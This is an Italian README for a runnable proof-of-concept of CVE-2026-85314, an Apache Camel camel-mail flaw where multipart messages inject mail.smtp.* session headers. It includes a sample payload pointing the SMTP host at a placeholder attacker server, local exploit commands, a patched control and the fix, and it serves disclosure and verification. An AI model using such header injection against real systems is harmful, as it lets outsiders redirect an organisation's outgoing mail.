
PoC riproducibile ed eseguibile per CVE-2026-85314, che dimostra l'iniezione di header mail.smtp tramite MimeMultipart di camel-mail in Camel Spring Boot e Camel Quarkus, con controlli corretti.
MimeMultipart (mail.smtp*)Riproduttore eseguibile di proof-of-concept per la vulnerabilità di Apache Camel in cui il data format MimeMultipart di camel-mail mappava gli header di un messaggio sull'Exchange durante l'unmarshal usando un semplice DefaultHeaderFilterStrategy, che non rimuove il namespace mail.smtp. / mail.smtps.. CVE-2026-46584 aveva chiuso il percorso in cui gli header mail raggiungevano l'Exchange senza filtri, ma questo data format ne manteneva uno non filtrato: quei nomi di header non portano alcun prefisso Camel (quindi nemmeno il filtro degli header di un consumer li blocca), e il namespace mail.smtp controlla come un mail producer a valle si connette e invia. Un mittente esterno di un messaggio multipart poteva quindi iniettare proprietà di sessione JavaMail e reindirizzare la connessione mail (CWE-20). Si tratta di una correzione incompleta di CVE-2026-46584 più che di una nuova classe di difetto.
| Runtime | Directory | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-mail 4.22.0 (affetto; corretto in 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-mail (Camel 4.22.0, affetto; controllo corretto CQ 3.40.0 / Camel 4.22.1) |
Entrambi i moduli dimostrano il comportamento affetto e quello corretto contro il vero MimeMultipartDataFormat.
Il driver esegue l'unmarshal di un messaggio multipart controllato dall'attaccante (modalità inline-headers, che rispecchia il MimeMultipartDataFormatTest della correzione stessa) che trasporta proprietà di sessione JavaMail come header MIME, quindi riporta quali di esse sono finite sull'Exchange:
mail.smtp.host: attacker-smtp.example
mail.smtp.port: 2525
mail.smtps.auth: false
X-Normal: keep-me <- an unrelated header, should always survive
Content-Type: text/plain
Body text
mail.smtp.host, mail.smtp.port, mail.smtps.auth sopravvivono tutti all'unmarshal e diventano header
Exchange — un produttore di posta a valle li leggerebbe, quindi il mittente reindirizza dove viene inviata la posta.mail.smtp.* viene filtrato durante l'unmarshal (tramite MailHeaderFilterStrategy), mentre
l'header non correlato X-Normal viene mantenuto.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: mail.smtp* injected = true; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85314-mail-mime-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): mail.smtp* injected = true
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false
| Proprietà | Valore |
|---|---|
| Componente | camel-mail (MimeMultipartDataFormat, unmarshal) |
| CWE | CWE-20 (Validazione dell'input non corretta) |
| Gravità | MEDIA |
| Vettore di attacco | Il messaggio multipart di un mittente esterno trasporta header MIME mail.smtp.*; l'unmarshalling li mappa sullo Exchange |
| Impatto | Le proprietà della sessione JavaMail iniettate orientano come/dove un producer di posta downstream si connette e invia |
| Versioni interessate | Dalla 4.0.0 precedente alla 4.18.5, dalla 4.19.0 precedente alla 4.22.1 |
| Versioni corrette | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24419 |
| Correlato | Correzione incompleta di CVE-2026-46584 |
| Credito | Claude Security Scan Tool |
Advisory: https://camel.apache.org/security/CVE-2026-85314.html
Il modulo Quarkus interessato è basato su CQ 3.39.0 (Camel 4.22.0). Il controllo corretto è CQ 3.40.0 (Camel 4.22.1).
MimeMultipartDataFormat ora utilizza MailHeaderFilterStrategy invece di
DefaultHeaderFilterStrategy, così il namespace mail.smtp. / mail.smtps. viene filtrato durante l'unmarshal esattamente come il
consumer di posta lo filtra sul lato inbound (CAMEL-23522) — chiudendo il percorso lasciato aperto da CVE-2026-46584.
Rimuovi il namespace dopo il data format con removeHeaders("mail.smtp*") prima di qualsiasi producer di posta.
Questo repository è pubblicato per scopi educativi e difensivi: per aiutare gli utenti di Apache Camel a comprendere la
vulnerabilità, verificare se sono interessati e confermare che l'aggiornamento la risolve. Il messaggio multipart è un
fixture benigno in-process; attacker-smtp.example è un segnaposto e nessuna mail viene inviata. Non utilizzare questo materiale
contro sistemi di cui non sei proprietario o gestore.